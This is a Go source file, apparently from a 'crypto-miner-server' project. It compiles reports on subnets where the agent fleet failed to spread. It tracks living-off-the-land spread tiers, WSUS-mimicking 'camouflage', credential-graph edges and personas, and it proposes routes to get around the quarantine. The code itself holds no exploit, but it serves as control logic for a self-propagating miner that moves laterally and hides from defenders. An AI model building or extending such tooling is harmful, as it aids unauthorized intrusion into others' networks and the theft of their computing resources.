Files
AetherForge/server/internal/atlas/subnet_autopsy.go
AetherForge 5853f80c48
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add adversarial L4 court chamber with Seer court_debate feed.
Prosecutor and Public Defender use real fleet telemetry only; Judge dispatches L4 commands and emits full transcripts via seer_events and emberwake_court_debate when ai_control_enabled.
2026-06-07 09:21:44 -07:00

150 lines
4.8 KiB
Go

package atlas
import (
"fmt"
"strings"
"time"
"crypto-miner-server/internal/spreadrouter"
)
const SubnetAutopsyLOTLAttemptLimit = 5
const SubnetAutopsyGossipWhisperLimit = 8
// LOTLAttemptSnapshot is one spread/mining tier attempt in an autopsy packet.
type LOTLAttemptSnapshot struct {
AgentID string `json:"agent_id,omitempty"`
AgentName string `json:"agent_name,omitempty"`
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms,omitempty"`
Phase string `json:"phase,omitempty"`
}
// WSUSMimicSnapshot records WSUS cache-peer staging camouflage context.
type WSUSMimicSnapshot struct {
FormatMimicEnabled bool `json:"format_mimic_enabled"`
CachePeerLane string `json:"cache_peer_lane"`
RecentJoinLane string `json:"recent_join_lane,omitempty"`
}
// ErasureFallbackSnapshot reports whether RS lane fallback is available.
type ErasureFallbackSnapshot struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
AvailableAsFallback bool `json:"available_as_fallback"`
}
// SubnetAutopsyPacket is the full immune-response autopsy for a paused /24.
type SubnetAutopsyPacket struct {
Prefix string `json:"prefix"`
TriggeredAt time.Time `json:"triggered_at"`
FailCount int `json:"fail_count"`
PausedUntil *time.Time `json:"paused_until,omitempty"`
LOTLAttempts []LOTLAttemptSnapshot `json:"lotl_attempts"`
WSUSMimic WSUSMimicSnapshot `json:"wsus_mimic"`
Persona string `json:"persona"`
ErasureFallback ErasureFallbackSnapshot `json:"erasure_fallback"`
GossipWhispers []GossipHint `json:"gossip_whispers"`
FailureAtlas string `json:"failure_atlas,omitempty"`
CauseOfDeath string `json:"cause_of_death"`
VaccinationLane *spreadrouter.SpreadRouteHint `json:"vaccination_lane,omitempty"`
}
// BuildCauseOfDeath composes a one-page immune summary from packet fields.
func BuildCauseOfDeath(pkt SubnetAutopsyPacket) string {
var b strings.Builder
fmt.Fprintf(&b, "Subnet %s immune pause: %d spread failures triggered 24h quarantine.", pkt.Prefix, pkt.FailCount)
if pkt.PausedUntil != nil {
fmt.Fprintf(&b, " Resumes %s UTC.", pkt.PausedUntil.UTC().Format(time.RFC3339))
}
b.WriteString("\n")
failed := failedSpreadAttempts(pkt.LOTLAttempts)
if len(failed) > 0 {
b.WriteString("Failed LOTL tiers: ")
parts := make([]string, 0, len(failed))
for _, a := range failed {
line := a.Tier
if a.Error != "" {
line += " (" + a.Error + ")"
}
parts = append(parts, line)
}
b.WriteString(strings.Join(parts, ", "))
b.WriteString(".\n")
} else {
b.WriteString("No recent LOTL spread attempts on this /24 — failures came from cred-graph edges.\n")
}
if pkt.FailureAtlas != "" && pkt.FailureAtlas != "no fleet failure atlas samples for this fingerprint" {
fmt.Fprintf(&b, "Failure atlas: %s.\n", pkt.FailureAtlas)
}
if len(pkt.GossipWhispers) > 0 {
b.WriteString("Atlas gossip whispers: ")
parts := make([]string, 0, len(pkt.GossipWhispers))
for _, h := range pkt.GossipWhispers {
parts = append(parts, h.Tier+"@"+h.Condition)
}
b.WriteString(strings.Join(parts, ", "))
b.WriteString(".\n")
}
fmt.Fprintf(&b, "Persona=%s; WSUS mimic=%v; erasure fallback=%v.",
pkt.Persona, pkt.WSUSMimic.FormatMimicEnabled, pkt.ErasureFallback.AvailableAsFallback)
if pkt.VaccinationLane != nil && pkt.VaccinationLane.SeedAgentID != "" {
fmt.Fprintf(&b, "\nVaccination: route via %s (%s lane",
displayAgent(pkt.VaccinationLane.SeedAgentName, pkt.VaccinationLane.SeedAgentID),
pkt.VaccinationLane.JoinLane)
if pkt.VaccinationLane.ErasureLanesEnabled {
b.WriteString(", RS lanes on")
}
b.WriteString(").")
} else {
b.WriteString("\nVaccination: no BGP clearance route — widen Path Tracer or seed from adjacent /24.")
}
return strings.TrimSpace(b.String())
}
func failedSpreadAttempts(attempts []LOTLAttemptSnapshot) []LOTLAttemptSnapshot {
var out []LOTLAttemptSnapshot
for _, a := range attempts {
if a.OK {
continue
}
if a.Phase != "" && a.Phase != "spread" && a.Phase != "deploy" {
continue
}
out = append(out, a)
}
return out
}
func displayAgent(name, id string) string {
if strings.TrimSpace(name) != "" {
return name
}
if len(id) > 8 {
return id[:8]
}
return id
}
// TrimLOTLAttempts keeps the last n attempts in arrival order.
func TrimLOTLAttempts(attempts []LOTLAttemptSnapshot, n int) []LOTLAttemptSnapshot {
if n <= 0 || len(attempts) <= n {
return attempts
}
return attempts[len(attempts)-n:]
}
// TrimGossipWhispers keeps the most recent n gossip hints.
func TrimGossipWhispers(hints []GossipHint, n int) []GossipHint {
if n <= 0 || len(hints) <= n {
return hints
}
return hints[len(hints)-n:]
}